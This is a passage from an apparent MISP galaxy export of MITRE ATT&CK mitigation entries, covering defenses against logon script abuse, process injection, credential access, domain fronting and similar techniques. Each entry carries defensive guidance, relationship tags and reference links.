mitigates: misp-galaxy:mitre-attack-pattern="Data from Cloud Storage Object - T1530" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

Table 2858. Table References
Links
https://attack.mitre.org/mitigations/M1037

Logon Scripts Mitigation - T1037

Restrict write access to logon scripts to specific administrators. Prevent access to administrator accounts by mitigating Credential Access techniques and limiting account access and permissions of [Valid Accounts](https://attack.mitre.org/techniques/T1078).

Identify and block potentially malicious software that may be executed through logon script modification by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.

The tag is: misp-galaxy:mitre-course-of-action="Logon Scripts Mitigation - T1037"

Logon Scripts Mitigation - T1037 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Logon Scripts - T1037" with estimative-language:likelihood-probability="almost-certain"

Table 2859. Table References
Links
https://attack.mitre.org/mitigations/T1037
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm

Environment Variable Permissions - M1039

Prevent modification of environment variables by unauthorized users and groups.

The tag is: misp-galaxy:mitre-course-of-action="Environment Variable Permissions - M1039"

Environment Variable Permissions - M1039 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Clear Command History - T1146" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="HISTCONTROL - T1148" with estimative-language:likelihood-probability="almost-certain"

Table 2860. Table References
Links
https://attack.mitre.org/mitigations/M1039

Process Hollowing Mitigation - T1093

Although process hollowing may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Process Hollowing Mitigation - T1093"

Process Hollowing Mitigation - T1093 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Process Hollowing - T1093" with estimative-language:likelihood-probability="almost-certain"

Table 2861. Table References
Links
https://attack.mitre.org/mitigations/T1093
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Restrict Library Loading - M1044

Prevent abuse of library loading mechanisms in the operating system and software to load untrusted code by configuring appropriate library loading mechanisms and investigating potential vulnerable software.

The tag is: misp-galaxy:mitre-course-of-action="Restrict Library Loading - M1044"

Restrict Library Loading - M1044 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1038" with estimative-language:likelihood-probability="almost-certain"
mitigates: misp-galaxy:mitre-attack-pattern="LSASS Driver - T1177" with estimative-language:likelihood-probability="almost-certain"

Table 2862. Table References
Links
https://attack.mitre.org/mitigations/M1044

Indicator Blocking Mitigation - T1054

Ensure event tracers/forwarders (Citation: Microsoft ETW May 2018), firewall policies, and other associated mechanisms are secured with appropriate permissions and access controls. Consider automatically relaunching forwarding mechanisms at recurring intervals (ex: temporal, on-logon, etc.) as well as applying appropriate change management to firewall rules and other related system configurations.

The tag is: misp-galaxy:mitre-course-of-action="Indicator Blocking Mitigation - T1054"

Indicator Blocking Mitigation - T1054 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Indicator Blocking - T1054" with estimative-language:likelihood-probability="almost-certain"

Table 2863. Table References
Links
https://attack.mitre.org/mitigations/T1054
https://docs.microsoft.com/windows/desktop/etw/event-tracing-portal

Software Packing Mitigation - T1045

Ensure updated virus definitions. Create custom signatures for observed malware. Employ heuristic-based malware detection.

Identify and prevent execution of potentially malicious software that may have been packed by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Software Packing Mitigation - T1045"

Software Packing Mitigation - T1045 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"

Table 2864. Table References
Links
https://attack.mitre.org/mitigations/T1045
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Data Staged Mitigation - T1074

Identify system utilities, remote access or third-party tools, users or potentially malicious software that may be used to store compressed or encrypted data in a publicly writeable directory, central location, or commonly used staging directories (e.g. recycle bin) that is indicative of non-standard behavior, and audit and/or block them by using file integrity monitoring tools where appropriate. Consider applying data size limits or blocking file writes of common compression and encryption utilities such as 7zip, RAR, ZIP, or zlib on frequently used staging directories or central locations and monitor attempted violations of those restrictions.

The tag is: misp-galaxy:mitre-course-of-action="Data Staged Mitigation - T1074"

Data Staged Mitigation - T1074 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"

Table 2865. Table References
Links
https://attack.mitre.org/mitigations/T1074

Environmental Keying Mitigation - T1480

This technique likely should not be mitigated with preventative controls because it may protect unintended targets from being compromised. If targeted, efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior if compromised.

The tag is: misp-galaxy:mitre-course-of-action="Environmental Keying Mitigation - T1480"

Environmental Keying Mitigation - T1480 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Execution Guardrails - T1480" with estimative-language:likelihood-probability="almost-certain"

Table 2866. Table References
Links
https://attack.mitre.org/mitigations/T1480

Do Not Mitigate - M1055

This category is to associate techniques that mitigation might increase risk of compromise and therefore mitigation is not recommended.

The tag is: misp-galaxy:mitre-course-of-action="Do Not Mitigate - M1055"

Do Not Mitigate - M1055 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Execution Guardrails - T1480" with estimative-language:likelihood-probability="almost-certain"

Table 2867. Table References
Links
https://attack.mitre.org/mitigations/M1055

Process Injection Mitigation - T1055

This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific Windows API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. (Citation: GDSecurity Linux injection)

Identify or block potentially malicious software that may contain process injection functionality by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

Utilize Yama (Citation: Linux kernel Yama) to mitigate ptrace based process injection by restricting the use of ptrace to privileged users only. Other mitigation controls involve the deployment of security kernel modules that provide advanced access control and process restrictions such as SELinux (Citation: SELinux official), grsecurity (Citation: grsecurity official), and AppAmour (Citation: AppArmor official).

The tag is: misp-galaxy:mitre-course-of-action="Process Injection Mitigation - T1055"

Process Injection Mitigation - T1055 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"

Table 2868. Table References
Links
https://attack.mitre.org/mitigations/T1055
https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx
https://www.kernel.org/doc/Documentation/security/Yama.txt
https://selinuxproject.org/page/Main_Page
https://grsecurity.net/
http://wiki.apparmor.net/index.php/Main_Page

Input Capture Mitigation - T1056

Identify and block potentially malicious software that may be used to acquire credentials or information from the user by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

In cases where this behavior is difficult to detect or mitigate, efforts can be made to lessen some of the impact that might result from an adversary acquiring credential information. It is also good practice to follow mitigation recommendations for adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078).

The tag is: misp-galaxy:mitre-course-of-action="Input Capture Mitigation - T1056"

Input Capture Mitigation - T1056 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"

Table 2869. Table References
Links
https://attack.mitre.org/mitigations/T1056
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Process Discovery Mitigation - T1057

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about processes, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Process Discovery Mitigation - T1057"

Process Discovery Mitigation - T1057 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

Table 2870. Table References
Links
https://attack.mitre.org/mitigations/T1057
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Account Discovery Mitigation - T1087

Prevent administrator accounts from being enumerated when an application is elevating through UAC since it can lead to the disclosure of account names. The Registry key is located <code>HKLM\ SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\CredUI\EnumerateAdministrators</code>. It can be disabled through GPO: Computer Configuration > [Policies] > Administrative Templates > Windows Components > Credential User Interface: E numerate administrator accounts on elevation. (Citation: UCF STIG Elevation Account Enumeration)

Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about system and domain accounts, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Account Discovery Mitigation - T1087"

Account Discovery Mitigation - T1087 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"

Table 2871. Table References
Links
https://attack.mitre.org/mitigations/T1087
https://www.stigviewer.com/stig/microsoft_windows_server_2012_member_server/2013-07-25/finding/WN12-CC-000077
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Valid Accounts Mitigation - T1078

Take measures to detect or prevent techniques such as [Credential Dumping](https://attack.mitre.org/techniques/T1003) or installation of keyloggers to acquire credentials through [Input Capture](https://attack.mitre.org/techniques/T1056). Limit credential overlap across systems to prevent access if account credentials are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled and use of accounts is segmented, as this is often equivalent to having a local administrator account with the same password on all systems.

Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access)

Audit domain and local accounts as well as their permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account. (Citation: TechNet Credential Theft) (Citation: TechNet Least Privilege) These audits should also include if default accounts have been enabled, or if new local accounts are created that have not be authorized.

Applications and appliances that utilize default username and password should be changed immediately after the installation, and before deployment to a production environment. (Citation: US-CERT Alert TA13-175A Risks of Default Passwords on the Internet) When possible, applications that use SSH keys should be updated periodically and properly secured.

The tag is: misp-galaxy:mitre-course-of-action="Valid Accounts Mitigation - T1078"

Valid Accounts Mitigation - T1078 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

Table 2872. Table References
Links
https://attack.mitre.org/mitigations/T1078
https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material#a-nameesaebmaesae-administrative-forest-design-approach
https://technet.microsoft.com/en-us/library/dn535501.aspx
https://technet.microsoft.com/en-us/library/dn487450.aspx
https://www.us-cert.gov/ncas/alerts/TA13-175A

Multilayer Encryption Mitigation - T1079

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often. (Citation: University of Birmingham C2)

The tag is: misp-galaxy:mitre-course-of-action="Multilayer Encryption Mitigation - T1079"

Multilayer Encryption Mitigation - T1079 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Multilayer Encryption - T1079" with estimative-language:likelihood-probability="almost-certain"

Table 2873. Table References
Links
https://attack.mitre.org/mitigations/T1079
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

Account Manipulation Mitigation - T1098

Use multifactor authentication. Follow guidelines to prevent or limit adversary access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).

Protect domain controllers by ensuring proper security configuration for critical servers. Configure access controls and firewalls to limit access to these systems. Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.

The tag is: misp-galaxy:mitre-course-of-action="Account Manipulation Mitigation - T1098"

Account Manipulation Mitigation - T1098 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"

Table 2874. Table References
Links
https://attack.mitre.org/mitigations/T1098

Modify Registry Mitigation - T1112

Misconfiguration of permissions in the Registry may lead to opportunities for an adversary to execute code, like through [Service Registry Permissions Weakness](https://attack.mitre.org/techniques/T1058). Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.

Identify and block unnecessary system utilities or potentially malicious software that may be used to modify the Registry by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Modify Registry Mitigation - T1112"

Modify Registry Mitigation - T1112 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 2875. Table References
Links
https://attack.mitre.org/mitigations/T1112
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Authentication Package Mitigation - T1131

Windows 8.1, Windows Server 2012 R2, and later versions, may make LSA run as a Protected Process Light (PPL) by setting the Registry key <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL</code>, which requires all DLLs loaded by LSA to be signed by Microsoft. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)

The tag is: misp-galaxy:mitre-course-of-action="Authentication Package Mitigation - T1131"

Authentication Package Mitigation - T1131 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Authentication Package - T1131" with estimative-language:likelihood-probability="almost-certain"

Table 2876. Table References
Links
https://attack.mitre.org/mitigations/T1131
http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html
https://technet.microsoft.com/en-us/library/dn408187.aspx

Screen Capture Mitigation - T1113

Blocking software based on screen capture functionality may be difficult, and there may be legitimate software that performs those actions. Instead, identify potentially malicious software that may have functionality to acquire screen captures, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Screen Capture Mitigation - T1113"

Screen Capture Mitigation - T1113 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"

Table 2877. Table References
Links
https://attack.mitre.org/mitigations/T1113
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Email Collection Mitigation - T1114

Use of encryption provides an added layer of security to sensitive information sent over email. Encryption using public key cryptography requires the adversary to obtain the private certificate along with an encryption key to decrypt messages.

Use of two-factor authentication for public-facing webmail servers is also a recommended best practice to minimize the usefulness of user names and passwords to adversaries.

Identify unnecessary system utilities or potentially malicious software that may be used to collect email data files or access the corporate email server, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Email Collection Mitigation - T1114"

Email Collection Mitigation - T1114 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"

Table 2878. Table References
Links
https://attack.mitre.org/mitigations/T1114
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Input Prompt Mitigation - T1141

This technique exploits users' tendencies to always supply credentials when prompted, which makes it very difficult to mitigate. Use user training as a way to bring awareness and raise suspicion for potentially malicious events (ex: Office documents prompting for credentials).

The tag is: misp-galaxy:mitre-course-of-action="Input Prompt Mitigation - T1141"

Input Prompt Mitigation - T1141 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Input Prompt - T1141" with estimative-language:likelihood-probability="almost-certain"

Table 2879. Table References
Links
https://attack.mitre.org/mitigations/T1141

Clipboard Data Mitigation - T1115

Instead of blocking software based on clipboard capture behavior, identify potentially malicious software that may contain this functionality, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Clipboard Data Mitigation - T1115"

Clipboard Data Mitigation - T1115 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"

Table 2880. Table References
Links
https://attack.mitre.org/mitigations/T1115
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

LC_LOAD_DYLIB Addition Mitigation - T1161

Enforce that all binaries be signed by the correct Apple Developer IDs, and whitelist applications via known hashes. Binaries can also be baselined for what dynamic libraries they require, and if an app requires a new dynamic library that wasn’t included as part of an update, it should be investigated.

The tag is: misp-galaxy:mitre-course-of-action="LC_LOAD_DYLIB Addition Mitigation - T1161"

LC_LOAD_DYLIB Addition Mitigation - T1161 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="LC_LOAD_DYLIB Addition - T1161" with estimative-language:likelihood-probability="almost-certain"

Table 2881. Table References
Links
https://attack.mitre.org/mitigations/T1161

Code Signing Mitigation - T1116

Process whitelisting and trusted publishers to verify authenticity of software can help prevent signed malicious or untrusted code from executing on a system. (Citation: NSA MS AppLocker) (Citation: TechNet Trusted Publishers) (Citation: Securelist Digital Certificates)

The tag is: misp-galaxy:mitre-course-of-action="Code Signing Mitigation - T1116"

Code Signing Mitigation - T1116 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"

Table 2882. Table References
Links
https://attack.mitre.org/mitigations/T1116
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
https://technet.microsoft.com/en-us/library/cc733026.aspx
https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/

Automated Collection Mitigation - T1119

Encryption and off-system storage of sensitive information may be one way to mitigate collection of files, but may not stop an adversary from acquiring the information if an intrusion persists over a long period of time and the adversary is able to discover and access the data through other means. A keylogger installed on a system may be able to intercept passwords through [Input Capture](https://attack.mitre.org/techniques/T1056) and be used to decrypt protected documents that an adversary may have collected. Strong passwords should be used to prevent offline cracking of encrypted documents through [Brute Force](https://attack.mitre.org/techniques/T1110) techniques.

Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to collect files and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Automated Collection Mitigation - T1119"

Automated Collection Mitigation - T1119 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"

Table 2883. Table References
Links
https://attack.mitre.org/mitigations/T1119
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Template Injection Mitigation - T1221

Consider disabling Microsoft Office macros/active content to prevent the execution of malicious payloads in documents (Citation: Microsoft Disable Macros), though this setting may not mitigate the [Forced Authentication](https://attack.mitre.org/techniques/T1187) use for this technique.

Because this technique involves user interaction on the endpoint, it’s difficult to fully mitigate. However, there are potential mitigations including training users to identify social engineering techniques and spearphishing emails. Network/Host intrusion prevention systems, antivirus, and detonation chambers can be employed to prevent documents from fetching and/or executing malicious payloads. (Citation: Anomali Template Injection MAR 2018)

The tag is: misp-galaxy:mitre-course-of-action="Template Injection Mitigation - T1221"

Template Injection Mitigation - T1221 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Template Injection - T1221" with estimative-language:likelihood-probability="almost-certain"

Table 2884. Table References
Links
https://attack.mitre.org/mitigations/T1221
https://support.office.com/article/enable-or-disable-macros-in-office-files-12b036fd-d140-4e74-b45e-16fed1a7e5c6
https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104

Audio Capture Mitigation - T1123

Mitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system.

Identify and block potentially malicious software that may be used to record audio by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Audio Capture Mitigation - T1123"

Audio Capture Mitigation - T1123 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"

Table 2885. Table References
Links
https://attack.mitre.org/mitigations/T1123
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Data Encoding Mitigation - T1132

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)

The tag is: misp-galaxy:mitre-course-of-action="Data Encoding Mitigation - T1132"

Data Encoding Mitigation - T1132 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"

Table 2886. Table References
Links
https://attack.mitre.org/mitigations/T1132
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

Video Capture Mitigation - T1125

Mitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system.

Identify and block potentially malicious software that may be used to capture video and images by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

The tag is: misp-galaxy:mitre-course-of-action="Video Capture Mitigation - T1125"

Video Capture Mitigation - T1125 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"

Table 2887. Table References
Links
https://attack.mitre.org/mitigations/T1125
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Login Item Mitigation - T1162

Restrict users from being able to create their own login items. Additionally, holding the shift key during login prevents apps from opening automatically (Citation: Re-Open windows on Mac).

The tag is: misp-galaxy:mitre-course-of-action="Login Item Mitigation - T1162"

mitigates: misp-galaxy:mitre-attack-pattern="Login Item - T1162" with estimative-language:likelihood-probability="almost-certain"

Table 2888. Table References
Links
https://attack.mitre.org/mitigations/T1162
https://support.apple.com/en-us/HT204005

Domain Fronting Mitigation - T1172

If it is possible to inspect HTTPS traffic, the captures can be analyzed for connections that appear to be Domain Fronting.

In order to use domain fronting, attackers will likely need to deploy additional tools to compromised systems. (Citation: FireEye APT29 Domain Fronting With TOR March 2017) (Citation: Mandiant No Easy Breach) It may be possible to detect or prevent the installation of these tools with Host-based solutions.

The tag is: misp-galaxy:mitre-course-of-action="Domain Fronting Mitigation - T1172"

Domain Fronting Mitigation - T1172 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="Domain Fronting - T1172" with estimative-language:likelihood-probability="almost-certain"

Table 2889. Table References
Links
https://attack.mitre.org/mitigations/T1172
https://www.fireeye.com/blog/threat-research/2017/03/apt29_domain_frontin.html
http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016

AppCert DLLs Mitigation - T1182

Identify and block potentially malicious software that may be executed through AppCert DLLs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.

The tag is: misp-galaxy:mitre-course-of-action="AppCert DLLs Mitigation - T1182"

AppCert DLLs Mitigation - T1182 has relationships with:

mitigates: misp-galaxy:mitre-attack-pattern="AppCert DLLs - T1182" with estimative-language:likelihood-probability="almost-certain"

Table 2890. Table References
Links
https://attack.mitre.org/mitigations/T1182
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
